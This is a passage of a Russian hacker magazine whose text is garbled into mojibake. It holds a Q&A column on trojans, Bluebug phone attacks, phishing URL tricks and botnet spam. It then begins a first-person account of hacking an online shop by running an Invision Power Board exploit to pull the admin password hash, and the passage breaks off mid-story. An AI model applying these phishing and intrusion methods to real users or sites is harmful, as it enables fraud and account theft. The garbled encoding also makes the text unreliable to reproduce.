äó. Ðîáîò Philip K. Dick
(http://hansonrobotics.com/project_pkd.php) íå ïðîñòî ïîõîæ íà
Äèêà è ðåàëèñòè÷íî ñèíòåçèðóåò åãî ãîëîñ. Èñïîëüçóÿ òåêñòû
ïðîèçâåäåíèé è ìåìóàðîâ, îí èçó÷èë ìíåíèå ïèñàòåëÿ ïî ìíî-
ãèì ñîâðåìåííûì âîïðîñàì è áðîñàåò îðèãèíàëüíûå ðåïëèêè.
À ïî àäðåñó http://triumphpc.com/johnlennon/ â èíòåðíåòå ðàñïî-
ëàãàåòñÿ ïðîåêò èñêóññòâåííîãî èíòåëëåêòà Äæîíà Ëåííîíà.

ñíèìêè èç ðàññåêðå÷åííûõ àðõèâîâ TransTime è Alcor

äèðåêòîð ïî íàóêå Èíñòèòóòà êðè-
îíèêè â Äåòðîéòå Þðèé Ïè÷óãèí





QQ:: ÏÏîî÷÷ååììóó ããîîññóóääààððññòòââååííííûûìì ððààááîîòòííèèêêààìì ññêêîîððîî ççààïïððååòòÿÿòò ïïîîëëüüççîîââààòòüüññÿÿ PP22PP??
A: Ãîñóäàðñòâî, êàê è ëþáîé ÷àñòíûé óçóðïàòîð, íå õî÷åò îïëà÷èâàòü ãèãà-
áàéòû óäîâîëüñòâèé, êîòîðûå ñäóâàþò ðàáîòíè÷êè èç Ñåòè. Òàêæå îíî õî-
÷åò, ÷òîáû òðóäÿãè áûëè ïîñòîÿííî çàíÿòû, à íå ïîãðóæàëèñü â ïðàçäíîñòü
P2P. Íî îñíîâíàÿ ïðîáëåìà, êîòîðàÿ ñòîèò ñåé÷àñ î÷åíü îñòðî, � ýòî çàùè-
òà äàííûõ. Íåðåäêî ãîñóäàðñòâåííûå ñëóæàùèå êðèâî íàñòðàèâàþò ñâîèõ
p2p-êëèåíòîâ, ðàñøàðèâàÿ êó÷ó ñåêðåòíûõ äîêóìåíòîâ íà âñþ Ñåòü. Äðóãàÿ
ñëîæíîñòü îòíîñèòñÿ ê íîâîìîäíûì âèðóñàì, êîòîðûå íà÷èíàþò ðàñïðîñò-
ðàíåíèå ñîäåðæèìîãî «Ìîèõ äîêóìåíòîâ» æåðòâû ïîñëå çàðàæåíèÿ. Ïî
ïåðâîé òåìå ïîïàëèëñÿ îäèí ÷óâàê èç Ïåíòàãîíà, âûáðîñèâ â Ñåòü ÷åðòåæè
íåêîãî ñóïåð-çàñåêðå÷åííîãî ñèíõðîôàçîòðîíà. Âî âòîðîì ñëó÷àå çàëåòåë
ÿïîíñêèé ÷èíîâíèê, ó êîòîðîãî âèðóñ ïîïåð ìàòåðèàëû ÿäåðíûõ ðàçðàáîòîê,
êîòîðûå ïîòîì áûëè âûáðîøåíû íà áåñêðàéíèå ïðîñòîðû Kazaa è eDonkey.

QQ:: ÌÌååííÿÿ ïïóóããààþþòò ýýïïèèääååììèèååéé êêààêêîîããîî-òòîî ííîîââîîããîî òòððîîÿÿííàà GGlliieeddeerr''aa.. 
××òòîî èèççââååññòòííîî îîáá ýýòòîîìì??
A: Ãîâîðèòü îá ýïèäåìèè ïîêà íå ïðèõîäèòñÿ, çàðàæåíèé ãëîáàëüíîãî
ìàñøòàáà çàìå÷åíî íå áûëî. Ïûòàòüñÿ íàéòè èíôîðìàöèþ ïî ýòîé çàðà-

çå, âáèâàÿ èìÿ «Glieder» â ïîèñêîâèêè, � çàíÿòèå íåáëàãîäàðíîå, ïîòîìó
÷òî â áîëüøèíñòâå âèðóñíûõ áàç, âðîäå Security Response (www.syman-
tec.com/avcenter/vinfodb.html) îí ïðîõîäèò ïîä èìåíåì Tooso. Îïèñàíèå çà-
ðàçû â áàçàõ � ïðåäåëüíî ñêóäíî, òàê ÷òî äëÿ äåòàëüíîãî îçíàêîìëåíèÿ ñ
îáðàçöîì ìíå ïðèøëîñü çàðàçèòü îäíó èç ïîäêîíòðîëüíûõ ìàøèí. Ñóùå-
ñòâóþò íåñêîëüêî âåðñèé âèðóñà, íî äåéñòâóþò âñå òðè ïðèìåðíî îäèíàêî-
âî. Ðàñïðîñòðàíèâøèñü ìàññîâîé e-mail ðàññûëêîé, çàïóùåííûé òðîÿí
ñêà÷èâàåò äðóãóþ ïðîãðàììó, êîòîðàÿ óñïåøíî âûðóáàåò àíòèâèðóñû,
security-îáíîâëåíèÿ è ôàéðâîëû. Ïîñëå óñïåøíîãî «îáåçâðåæèâàíèÿ»
ñèñòåìû, èç èíòåðíåòà ñêà÷èâàåòñÿ òðåòüÿ ñîôòèíà � Mitglieder, êîòîðàÿ
ëèáî ïîäêëþ÷àåò çàðàæåííûé êîìï ê çîìáè-áîòíåòó, ëèáî îòêðûâàåò ðå-
ëåé äëÿ ðàññûëêè ñïàìà. Êàê âîäèòñÿ, âñÿ âåðåíèöà çàðàçû óñïåøíî
ôóíêöèîíèðóåò íà ëþáûõ win-ìàøèíàõ. 

QQ:: ÌÌííåå ççââîîííÿÿòò,, àà òòååëëååôôîîíí ââííååççààïïííîî ïïîîääííèèììààååòò òòððóóááêêóó.. ÏÏîî÷÷ååììóó òòààêê ïïððîîèèññõõîî-
ääèèòò èè êêààêê îîòò ýýòòîîããîî èèççááààââèèòòüüññÿÿ??
A: Â òâîåì ñëó÷àå ñðàáàòûâàåò îïöèÿ àâòî-îòâåòà (auto-answer), òî åñòü àï-
ïàðàò àâòîìàòè÷åñêè ïîäíèìàåò òðóáêó ïîñëå íåñêîëüêèõ ãóäêîâ. Ôè÷à áû-
ëà ðàçðàáîòàíà äëÿ âîäèòåëåé è èíâàëèäîâ. Ïåðâûå ÷àñòî èñïîëüçóþò ïî-
äîáíîå â êîìáèíàöèè ñ hands-free ãàðíèòóðîé. Åñëè òû íå ïîñòîÿííî çà ðó-
ëåì è íå íà êîëåñàõ èíâàëèäíîé êîëÿñêè, ðàññìàòðèâàåìîå ëó÷øå îòêëþ-
÷èòü. Íàñòðîéêè ìîãóò ìåíÿòüñÿ îò òåëåôîíà ê òåëåôîíó, íî â áîëüøèíñòâå
èç íèõ auto-answer âðóáàåòñÿ-âûðóáàåòñÿ â îòäåëå Hands-Free èëè â «ñïå-
öèàëüíûõ íàñòðîéêàõ». Êàê ðàç íåäàâíî ÷èòàë çàáàâíîå ñîîáùåíèå î òîì,
êàê îïîçîðèëàñü äâîå àìåðèêàíñêèõ êîïîâ, êîãäà èõ ñåêðåòíûé ðàçãîâîð
ïîäñëóøàë äðàã-äèëåð, ïðîñòî ïîçâîíèâ îäíîìó èç íèõ íà òåëåôîí. Êàê ïî-
ëàãàåòñÿ, çâóê ñ âèáðàòîðîì áûëè îòêëþ÷åíû, è ýòîò íåãîäÿé áåç ïðîáëåì
ðàçóçíàë ïîñëåäíèå íîâîñòè îò ÷åêèñòîâ.

QQ:: ÂÂ ÷÷ååìì ññóóòòüü BBlluueebbuugg-ààòòààêêèè??
A: Ñàìàÿ ïðîñòàÿ ðåàëèçàöèÿ àòàêè ïîçâîëÿåò ñòÿãèâàòü ÷óæèå çàïèñíûå
êíèæêè è ñïèñêè ñîâåðøåííûõ çâîíêîâ, ïîëó÷èòü äîñòóï ê àðõèâó SMS è
ïèñàòü òå æå ñîîáùåíèÿ îò èìåíè çàõâà÷åííîãî òåëåôîíà. Ñ ðàçâèòèåì

òåìû è èñïîëüçîâàíèåì íàäëåæàùåãî ñîôòà ñòàëî âîçìîæíûì ñîâåðøàòü
è äðóãèå ãðåõè � óñòàíàâëèâàòü ïåðåàäðåñàöèþ çâîíêîâ, âûâîäèòü òåëå-
ôîí â èíòåðíåò, ïåðåâîäèòü ìîáèëó îò îäíîãî îïåðàòîðà ê äðóãîìó (îáûê-
íîâåííî ðåàëèçóåòñÿ ñ òåëåôîíàìè íà ðîóìèíãå). Ñòîèò ïîìíèòü, ÷òî â
íîðìàëüíûõ óñëîâèÿõ àòàêóþùåìó íóæíî íàõîäèòüñÿ íà ðàññòîÿíèè íå áî-
ëåå 10�15 ìåòðîâ îò æåðòâû. Îäíàêî ñ èñïîëüçîâàíèåì ñïåöèàëüíîé
Bluetooth-«âèíòîâêè», òî åñòü íàïðàâëåííîé àíòåííû (ìà÷òû), ðàññòîÿíèå
ìîæåò áûòü óâåëè÷åíî âïëîòü äî ïîëóòîðà êèëîìåòðîâ. Áîëåå ïîäðîáíî î
bluebug'e ìîæíî ïî÷èòàòü íà trifinite.org. Ïîíÿòíî, ÷òî íå âñå BT-àãðåãàòû
ñòàíóò æåðòâàìè õàêåðþã, íî ìíîæåñòâî òåëåôîíîâ, îñîáåííî 2�4 ëåò
äàâíîñòè âûïóñêà áóäóò îïðîêèíóòû íà ëîïàòêè. Ñî ñïèñêîì áàæíûõ òðó-
áîê ìîæíî îçíàêîìèòñÿ íà www.thebunker.net/release-bluestumbler.htm. Òå-
ìà áåçîïàñíîñòè BT ñòàíîâèòñÿ âñå áîëåå àêòóàëüíîé: çà âåñü ïðîøëûé
ãîä áûëî ïðîäàíî áîëüøå 100 ìèëëèîíîâ bluetooth-äåâàéñîâ, à çà ïåðâîå
ïîëóãîäèå ýòîãî � 80 ìèëëèîíîâ.

QQ:: ÍÍààððûûëë uunniixx-sshheellll,, óóññòòààííîîââèèëë SSeeccuurreeCCRRTT,, ííîî ááååääàà ââ òòîîìì,, ÷÷òòîî ââ ììààííóóààëëåå êê
ííååììóó ííèè÷÷ååããîî ííåå ííààïïèèññààííîî îî êêîîììààííääààõõ ääëëÿÿ óóïïððààââëëååííèèÿÿ øøååëëëëîîìì ::((.. 

A: Èçó÷àÿ èíñòðóêöèþ ê àâòîìîáèëþ, íå ñëåäóåò îæèäàòü òàì îáúÿñíåíèÿ ïðà-
âèë äîðîæíîãî äâèæåíèÿ. Òàê è çäåñü, òâîé SSH-êëèåíò � ýòî ëèøü ïðîãà äëÿ
óïðàâëåíèÿ óäàëåííûì ñåðâåðîì, êîãäà êàê îïèñàíèå «êîìàíä» ìîæíî âñòðå-
òèòü â ìàíóàëå ïî îïåðàöèîííîé ñèñòåìå, óñòàíîâëåííîé íà ñåðâåðå. Åñëè òû
íå çàèíòåðåñîâàí â ïîçíàíèè âñåõ îñíîâ Unix, òî èäåàëüíûì ðåøåíèåì ìîãóò
îêàçàòüñÿ ñïðàâî÷íèêè, ãäå êðàòêî èçëîæåíû áàçîâûå êîíöåïöèè è êîìàíäû
îïåðàöèîíêè. Ñàì äî ñèõ ïîð ïîëüçóþñü êíèãîé 1998 ãîäà èçäàíèÿ � «Unix
ñïðàâî÷íèê» îò Êåâèíà Ðåé÷àðäà. Êîãäà èíôà íóæíà â ñðî÷íîì ïîðÿäêå, ñòî-
èò îáðàòèòüñÿ â õðàíèëèùà èíåòà, âðîäå linuxdoc.ru, lib.ru è opennet.ru. Èç
ñîáñòâåííîãî îïûòà, êîãäà íåîáõîäèìî óçíàòü íå÷òî áîëüøåå, ÷åì «êîìàíäû»,
ñèñòåìó ñëåäóåò èçó÷àòü ëîêàëüíî, íå îãðàíè÷èâàÿñü óäàëåííîé ðàáîòîé.

QQ:: ÌÌîîææííîî ëëèè ññêêààííèèòòüü øøààððûû,, èèññïïîîëëüüççóóÿÿ LLiinnuuxx-òòàà÷÷êêóó??
A: Ó÷èòûâàÿ opensource ñòàòóñ ñèñòåìû, ìîæíî áåç òðóäà ïåðåïèñàòü îáûê-
íîâåííûé samba-êëèåíò, ñäåëàâ åãî ñêàíåðîì. Ëþáèìîìó ÷èòàòåëþ íå
âñåãäà ïðèõîäèòñÿ ïî äóøå êîíñòðóêòîðû «ñäåëàé ñàì», ãäå þçåðó íóæíî
êîðïåòü íàä êîäîì. Äëÿ íèõ ñóùåñòâóåò ðÿä ãîòîâûõ ðåøåíèé, âðîäå íåêà-
çèñòîãî, íî îáëàäàþùåãî âñåì íåîáõîäèìûì � gSmbScanner (gsmbscan-
ner.sourceforge.net). Ýòà ñîôòèíà î÷åíü ïîõîæà íà âèíäîâûé ñêàíåð
Essential Net Tools.

QQ:: ÏÏîîääóóììûûââààþþ ççààííÿÿòòüüññÿÿ pphhiisshhiinngg''îîìì.. ÊÊààêêîîéé ññààììûûéé ïïððîîññòòîîéé ññïïîîññîîáá ççààììàà-
ííèèòòüü óóøøààññòòûûõõ??
A: Âêðàòöå, ÷àñòíûé ñëó÷àé phishing'a � ðàçâîäêà þçåðîâ, ïóòåì çàìàíèâà-
íèÿ íà web-ñàéò, êîòîðûé îêàçûâàåòñÿ î÷åíü ïîõîæ íà íåêóþ èçâåñòíóþ ñå-
òåâóþ òî÷êó èç îáëàñòè êîììåðöèè, âðîäå áàíêîâ èëè àóêöèîíîâ. Ïðîñòåé-
øèé ïðèìåð ïîäñòàâíîãî URL'a: http://signin.ebay.com@11.22.33.44/, íàæàâ
íà êîòîðûé, þçåð ïîïàäàåò âîâñå íå íà eBay, à íà ñàéò, ïîäíÿòûé çëîóìûø-
ëåííèêàìè ïî àäðåñó http://11.22.33.44. Çàáèâ æå www.p&#1072;ypal.com, òû
íàòðàâèøü ñâîé áðàóçåð âîâñå íå íà «õðàíèëèùå ïàëîê», à îêàæåøüñÿ íà
www.xn-pypal-4ve.com, ãäå ñíîâà ìîæåò áûòü ðàçâåðíóòà ïîäñòàâà. Áîëåå
äåòàëüíî ñ âîçìîæíûìè ìåòîäàìè ìîçãî-îïóäðèâàíèÿ òû ìîæåøü îçíàêî-
ìèòüñÿ íà www.shmoo.com/idn.Þ
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FAQÑOMMENTS
SideX 
(hack-faq@real.xakep.ru)

ÁÓÄÜ ÊÎÍÊÐÅÒÍÛÌ È ÇÀÄÀÂÀÉ ÊÎÍÊÐÅÒÍÛÅ ÂÎÏÐÎ-
ÑÛ! ÑÒÀÐÀÉÑß ÎÔÎÐÌÈÒÜ ÑÂÎÞ ÏÐÎÁËÅÌÓ ÒÀÊ, ×ÒÎ-
ÁÛ  ß ÑÌÎÃ ÄÅÉÑÒÂÈÒÅËÜÍÎ ÏÎÌÎ×Ü ÒÅÁÅ ÑÎÂÅÒÎÌ,
ÓÊÀÇÀÒÜ ÍÀ ÂÎÇÌÎÆÍÛÅ ÎØÈÁÊÈ. ÎÑÒÅÐÅÃÀÉÑß ÎÁ-

ÙÈÕ ÂÎÏÐÎÑÎÂ ÂÐÎÄÅ «ÊÀÊ ÂÇËÎÌÀÒÜ ÈÍÒÅÐÍÅÒ?»,
ÒÛ ËÈØÜ ÏÎÒÐÀÒÈØÜ ÑÂÎÉ ÏÎ×ÒÎÂÛÉ ÒÐÀÔÈÊ.
ÒÐßÑÒÈ ÈÇ ÌÅÍß ÔÐÈØÊÈ (ÈÍÅÒ, ØÅËËÛ, ÊÀÐÒÛ) � ÍÅ
ÑÒÎÈÒ, ß ÑÀÌ ÆÈÂÓ ÍÀ ÃÓÌÀÍÈÒÀÐÍÓÞ ÏÎÌÎÙÜ! 

HACK-FAQ



QQ:: ÊÊààêê ììîîææííîî îîááîîððîîííÿÿòòüüññÿÿ îîòò pphhiisshhiinngg''aa??
A: Îòâåò-ñóùåñòâèòåëüíîå: ãîëîâîé. Îòâåò-ãëàãîë: äóìàòü. Äóìàÿ ãîëî-
âîé, òû âðÿä ëè ïîïàäåøüñÿ íà óäî÷êó ðàçâîäèë. Äóìàòü æå ãîëîâîé
ñëèøêîì ÷àñòî îêàæåòñÿ íå îáÿçàòåëüíî, êîãäà â òâîþ ñèñòåìó áóäåò
âïèñàí íàäëåæàùèé ñîôò. Îäíà èç ïîñëåäíèõ ñîôòèí ïî òåìå �
SpoofStick (www.corestreet.com/spoofstick). Ýòà ïðîãðàììà îôîðìëåíà â
âèäå ñèìïàòè÷íîãî ïëàãèíà äëÿ áðàóçåðà, êîòîðûé íå âûçûâàåò êàêèõ-
ëèáî âîïðîñîâ â óïðàâëåíèè. Ïðîãà ðåãóëÿðíî ïîïîëíÿåò ñïèñîê ïîä-
äåëüíûõ ñàéòîâ, ïðåäóïðåæäàÿ òåáÿ ïðè ïîïûòêàõ ïîñåòèòü ïîäîáíûå çà-
âåäåíèÿ àôåðèñòîâ. Òàêæå òû áóäåøü ïîñòîÿííî âèäåòü, íà êàêîì ñàéòå
òû íàõîäèøüñÿ â äåéñòâèòåëüíîñòè; íàñòîÿùèé URL áóäåò âñåãäà âûâå-
äåí ÿðêèìè áóêâàìè. Åñòü IE'øíàÿ, òàê è FireFox'îâñêàÿ âåðñèÿ. Åñëè
ñîôò íå ïðèäåòñÿ ïî âêóñó, åñòü íåïëîõàÿ àëüòåðíàòèâà � Netcraft
Toolbar îò ëåãåíäû ñåòåâîãî èññëåäîâàíèÿ.

QQ:: ÌÌèèêêððîîññîîôôòò õõîî÷÷ååòò ââûûêêèèííóóòòüü ííàà ððûûííîîêê ííîîââîîåå sseeccuurriittyy-îîááííîîââëëååííèèåå
PPaallllaaddiiuumm.. ××òòîî ýýòòîî òòààêêîîåå??
A: Ïîòóãè MS ïî òåìå áåçîïàñíîñòè âûçûâàåò ðîâíî ñòîëüêî æå âîïðîñîâ,
ñêîëüêî è îäîáðåíèé. Âñÿêèå ñòàðàíèÿ ìîãóò ïðèíåñòè íå òîëüêî ñïîêîé-
ñòâèå, íî è ðÿä çàòðóäíåíèé, êàê è ïîëó÷èëîñü ñ îáðàùåííûì â íàðàùèâà-
íèå îáîðîíû SP2 WinXP. Palladium � èçíà÷àëüíîå íàçâàíèå ñèñòåìû, êî-
òîðàÿ íûíå ïðåäñòàâëåíà, êàê Next-Generation Secure Computing Base
(NGSCB). Â äàííîì ñëó÷àå ôèðìà ïðîáóåò ñîáðàòü âñå èìåþùèåñÿ hard-
ware è software ñèëû â åäèíîé áîðüáå çà ïîâûøåííóþ áåçîïàñíîñòü. Ïåð-
âîíà÷àëüíî ïðåäïîëàãàëîñü, ÷òî NGSCB áóäåò ñóùåñòâîâàòü êàê îòäåëü-
íàÿ ñèñòåìà, çàïóùåííàÿ ïàðàëëåëüíî îñíîâíîé îñè. Â ñâîåì äâèæåíèè,
îíî îáåñïå÷èò ïîâûøåííóþ èçîëÿöèþ ïðîöåññîâ, ñîõðàííîñòü äàííûõ è
íàäåæíóþ àâòîðèçàöèþ. Èäåÿ, áåçóñëîâíî, çàñëóæèâàåò, êàê ìèíèìóì, íå-
ìîãî  îäîáðåíèÿ. Îäíàêî ðåàëèçàöèÿ çàäåðæàëàñü, ïîñêîëüêó äëÿ ðàáîòû
ñ NGSCB êîäåðàì ïðèøëîñü áû ïåðåïèñûâàòü î÷åíü ìíîãèå äåòàëè ñâîèõ
òâîðåíèé. Ó÷èòûâàÿ èìåþùèåñÿ è âîçìîæíûå ñëîæíîñòè, MS îòêàçàëàñü
îò ñëèøêîì ðåçêèõ øàãîâ, âíåäðÿÿ íîâóþ òåìó ïîñòåïåííî. Ïîñëåäíèé ðå-
ëèç Longhorn'a âêëþ÷àåò ïåðâûé êóñî÷åê óäîâîëüñòâèÿ � Secure Startup.

Íîâîââåäåíèå äîëæíî îáåñïå÷èòü öåëîñòíîñòü ñîôòà è æåëåçà ñèñòåìû
ïåðåä çàïóñêîì, ÷òîáû ïðåäîòâðàòèòü íåëåãàëüíûé äîñòóï è ïðåäóïðåäèòü
âîçìîæíûå ïðîáëåìû èç-çà æåëåçíûõ êîñÿêîâ. Îæèäàåòñÿ, ÷òî íà íîâîé
áàçå IE áóäåò ðàáîòàòü âíóòðè âèðòóàëüíîé ìàøèíû è ôóíêöèîíèðîâàòü
«âíå» îñíîâíîé ÎÑ. 

QQ:: ÕÕîî÷÷óó ññòòÿÿííóóòòüü îîääííóó ÁÁÄÄ ââååññîîìì ââ 115500 ããèèããîîââ.. ÄÄàà òòààêê,, ÷÷òòîîááûû ââññåå ííàà ííîîóóòò ââëëååçç-
ëëîî.. ÊÊààêêèèåå ññîîââååòòûû??
A: Î÷åâèäíî, òåáå íóæåí âèí÷ ïîäõîäÿùåãî ðàçìåðà. Âíåøíèé HDD-rack ñ
îáûêíîâåííûì âèíòîì äàñò êó÷ó ïðîñòðàíñòâà, êóäà âîéäåò èñêîìîå áåç
êàêèõ-ëèáî ïðîáëåì. Åñëè æå ñêà÷èâàíèå ïðåäïîëàãàåòñÿ â ýêñòðåìàëüíûõ
óñëîâèÿõ, êîãäà âíåøíèé âèíò, êîòîðîìó îáûêíîâåííî íóæíî îòäåëüíîå
AC/DC ïèòàíèå, îêàçûâàåòñÿ íåïîçâîëèòåëüíîé ðîñêîøüþ, ïðèäåòñÿ òåáå
ìåíÿòü âíóòðåííèé âèí÷åñòåð íà áîëåå âìåñòèòåëüíûé. Çäåñü íàñ âûðó÷èò
êîìïàíèÿ Seagate c 2.5-äþéìîâûì òâîðåíèåì èç ëèíåéêè Momentum. Òû
ïîëó÷èøü 160 ãèãîâ � ñòîëü óáåäèòåëüíîé öèôðû óäàëîñü äîñòèãíóòü áëà-
ãîäàðÿ ïðèìåíåíèþ òåõíîëîãèè ïåðïåíäèêóëÿðíîé çàïèñè. Óæå ñåé÷àñ äîñ-
òóïíà 5400 rpm ìîäåëü, à 7200 âûéäåò ê êîíöó ãîäà.

Q: ÑÑîîááððààëë îîããððîîììííûûéé ááîîòòííååòò.. ÊÊààêê ááûû ììííåå ååããîî ççààþþççààòòüü ääëëÿÿ ññïïààììàà ííàà wweebb''åå??
A: Åñëè ïîíèìàòü ïîä «ñïàìîì íà web'å» � ïîñòèíãè ðåêëàìû è äðóãèõ ðà-
äîñòåé â ôîðóìû è ãîñòåâóõè, òî çëîñòíûå õàêåðû íàøëè ïðèìåíåíèå áåñ-
÷èñëåííûì ñòàäàì çîìáè-êîìïîâ. Çëîäåè ñîñòàâëÿþò ñïèñîê ãîñòåâóõ, êó-
äà áóäóò âëèâàòüñÿ ìåñàãè. Â îòäåëüíûõ ñëó÷àÿõ ïðè íåâîçìîæíîñòè guest-
ïîñòèíãà (áóäó÷è íåçàðåãèñòðèðîâàííûì), ïðèäåòñÿ ïðîâîäèòü ðåãèñòðà-
öèè íèêîâ, à ñïàì áóäåò ðàñïðîñòðàíåí ïîñëå èäåíòèôèêàöèè þçâåðà. Ïî-
ìèìî ðàçáðîñà, óìíûå áîòû óìåþò òàêæå ñîáèðàòü îòêëèêè íà ïîñòû (íàï-
ðèìåð, âîïðîñû ïî âëèòîé ðåêëàìå èëè óãðîçû ðàñïðàâû îò àäìèíîâ áîð-
äû). Ïîìèìî ïóáëè÷íîãî ñïàìà âîçìîæåí è ïåðñîíàëüíûé âàðèàíò îíîãî �
ðàññûëêà ñîîáùåíèé êàê PM'îê äëÿ þçåðîâ áîðäû. Çäåñü ìîãóò áûòü çàäåé-
ñòâîâàíû íå òîëüêî ôîðóìû, íî è ñëóæáû îáúÿâëåíèé (ñëóæáà çíàêîìñòâ
� ñåðèéíûé ïðèìåð). Óæå áûëè çàìå÷åíû ìåðêàíòèëüíûå îñîáû, êîòîðûå
ïðåäëàãàëè òàêîé web-ñïàì çà äåíüãè [X
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ÍÅ ÒÀÊ ÄÀÂÍÎ ÌÛ ÏÎËÓ×ÈËÈ ÇÀÌÅ×ÀÒÅËÜÍÎÅ
ÏÈÑÜÌÎ. ÍÅÊÈÉ ÕÀÊÅÐ, ÏÐÎÑÈÂØÈÉ ÍÅ ÂÛÄÀÂÀÒÜ
ÅÃÎ ÈÌÅÍÈ, ÎÏÈÑÀË ÏÎÒÐßÑÍÛÉ ÂÇËÎÌ ÈÍÒÅÐÍÅÒ-
ÌÀÃÀÇÈÍÀ È ÏÎÆÅËÀË, ×ÒÎÁÛ ÌÛ ÎÏÓÁËÈÊÎÂÀËÈ
ÝÒÓ ÈÑÒÎÐÈÞ Â ÆÓÐÍÀËÅ. ÑÀÌ ÏÐÎÖÅÑÑ ÂÇËÎÌÀ
ÁÛË Î×ÅÍÜ ÈÍÒÅÐÅÑÅÍ È ÏÎÄÊÐÅÏËÅÍ ÐÅÀËÜÍÛÌÈ
ÄÀÍÍÛÌÈ, ÏÎÝÒÎÌÓ ÌÛ ÁÅÇÎ ÂÑßÊÎÃÎ ÑÎÌÍÅÍÈß
ÏÎÂÅÐÈËÈ ×ÈÒÀÒÅËÞ È ÏÐÅÄÎÑÒÀÂÈËÈ ÅÌÓ
ÂÎÇÌÎÆÍÎÑÒÜ ÐÀÑÑÊÀÇÀÒÜ Î ÑÂÎÅÌ ÏÎÄÂÈÃÅ �
Î ÂÇËÎÌÅ ÊÐÓÏÍÎÃÎ ÐÎÑÑÈÉÑÊÎÃÎ ÈÍÒÅÐÍÅÒ-
ÌÀÃÀÇÈÍÀ. ×ÒÎ, ÏÎÒÅÊËÈ ÑËÞÍÊÈ? :) | Master-lame-master

[ëèõà áåäà íà÷àëî] Îäíèì ïðåêðàñíûì ëåòíèì äíåì, êîãäà âñå íîðìàëüíûå
ëþäè âåñåëÿòñÿ çà ãîðîäîì íà ðåêå, ÿ ñèäåë â äóøíîé êîìíàòå è, ïðîêëèíàÿ
ñâîé îáðàç æèçíè, çàêàí÷èâàë ðàáîòó íàä î÷åðåäíûì çàêàçíûì âçëîìîì. Çà-
êàç÷èê îêàçàëñÿ àäåêâàòíûì ÷åëîâåêîì, ïîýòîìó ðàñïëàòèëñÿ ñî ìíîé ïî÷òè
ñðàçó, äîáàâèâ ñâåðõó $100 ïðåìèàëüíûõ çà ñðî÷íîñòü. Ïîëó÷èâ óâåñèñòóþ ñóì-
ìó íà ñâîé WM-êîøåëåê ìíå çàõîòåëîñü ïðèêóïèòü ñåáå êàêîé-íèáóäü íîâûé
êðóòîé äåâàéñ äëÿ êîìïà � íàëèòü äåíüãè áûëî ñîâåðøåííî âëîì, ïîýòîìó ñî-
âåðøèòü ïîêóïêó ÿ ðåøèë â ýëåêòðîííîì ìàãàçèíå. Çàéäÿ íà ßíäåêñ, ÿ ñòîëê-
íóëñÿ ñ ñîëèäíûì ñïèñêîì êðóïíûõ ñåòåâûõ ìàãàçèíîâ è âûáðàë îäèí èç íèõ.
Äàëåå ñèòóàöèÿ ðàçâèâàëàñü î÷åíü èíòåðåñíûì îáðàçîì. ß ïîñìîòðåë ïðàéñ-
ëèñòû íà æåëåçêè è óæå îïðåäåëèëñÿ ñ çàêàçîì, òêíóë íà êíîïêó «Îôîðìèòü»
è óâèäåë, ÷òî ïëàòèòü ïðèäåòñÿ ëèáî ÷åðåç Ñáåðáàíê, ëèáî íàëîæåííûì ïëàòå-
æîì. Îäíàêî â ïîñëåäíåé ñòðî÷êå ñòðàíèöû ÿ óâèäåë òåêñò, ãëàñÿùèé î òîì, ÷òî
àäìèíèñòðàöèÿ ìàãàçèíà ïðèíèìàåò òàê æå îïëàòó è âèðòóàëüíûìè äåíüãàìè,
íî áåç àâòîìàòè÷åñêîãî îôîðìëåíèÿ ñäåëêè. Èíûìè ñëîâàìè,  óòðîì � äåíüãè,
âå÷åðîì � ñòóëüÿ, îá àâòîìàòè÷åñêîì ïðîöåññèíãå ïëàòåæåé ýòè ðåáÿòà íè÷åãî
íå ñëûøàëè :(. Ê ñîæàëåíèþ, òàêèì ñðåäíåâåêîâûì ñïîñîáîì îïëàòû ïðàêòèêó-
þò ìíîæåñòâî âèðòóàëüíûõ áàðàõîëîê, ÷òî åäâà ëè óêðàøàåò èíòåðíåò.
Íà ýòîì èñòîðèÿ íå çàêàí÷èâàåòñÿ. Ñòðîêîé íèæå ÿ óâèäåë ñëåäóþùåå îáú-
ÿâëåíèå: «Åñëè ó âàñ âîçíèêëè ïðîáëåìû èëè ïîæåëàíèÿ � íàïèøèòå îá
ýòîì â íàø ôîðóì». Îãî, äà ó íèõ åùå è ôîðóì åñòü! Ñåé÷àñ ïîñìîòðèì.
Êëèêíóâ ïî ññûëêå, ÿ ïîïàë íà î÷åíü èíòåðåñíóþ áîðäó ïîä íàçâàíèåì
Invision Power Board. Íàäî ñêàçàòü, ÿ ÿâëÿþñü ÷åëîâåêîì, êîìïåòåíòíûì â
âîïðîñàõ áåçîïàñíîñòè, ïîýòîìó çíàþ, ÷åì åæåäíåâíî ïîïîëíÿþòñÿ áàãòðà-
êè. Äâóìÿ äíÿìè ðàíåå ÿ ïîòðîøèë êîä ýêñïëîéòà äëÿ IPB âåðñèè 1.3-2.0.3,
êîòîðûé ïîêàçàë ñåáÿ î÷åíü ýôôåêòèâíî. Ñïåðâà ÿ ïîäóìàë, ÷òî àäìèíèñò-
ðàöèÿ ïðîñòî èçìåíèëà âåðñèþ, ÷òîáû îòïóãíóòü õàêåðîâ, íî ïî âíåøíåìó
âèäó IPB äåéñòâèòåëüíî ïðèíàäëåæàë ïåðâîé âåòêå. Íåçàìåäëèòåëüíî ÿ ðå-
øèë ïîïðîáîâàòü ïîëîìàòü âåòõèé ôîðóì ñ ïîìîùüþ òâîðåíèÿ îò rst.
ß çàïóñòèë ýêñïëîéò ñ ïàðàìåòðàìè www.cool-eshop.ru /magforum 1 1, ãäå
öèôðû îçíà÷àëè òèï òàðãåòà (åäèíè÷êà � ïåðâàÿ âåðñèÿ, äâîéêà � âòîðàÿ)
è id ïîëüçîâàòåëÿ, ÷åé ïàðîëü íåîáõîäèìî âûòàùèòü. ×åðåç òðèäöàòü ñå-
êóíä ïåðåáîðà, ñöåíàðèé âåðíóë ìíå MD5-õýø àäìèíà. Òåïåðü ó ìåíÿ áûëî
äâà âàðèàíòà: ëèáî ïîïðîáîâàòü ïîäìåíèòü ñâîé êóêèç è çàëîãèíèòüñÿ ïîä
àäìèíèñòðàòîðîì, ëèáî ðàñøèôðîâàòü ïàññâîðä è ïðèìåíèòü åãî äëÿ äðó-
ãèõ öåëåé. Ìûñëåííî ïðèêèíóâ, ÿ ðåøèë îñòàíîâèòüñÿ íà âòîðîì, ïîòîìó êàê
ëèøíèé ðàç ñâåòèòüñÿ íà WWW ìíå íå õîòåëîñü, äà è, çíàÿ àäìèíêó IPB, 
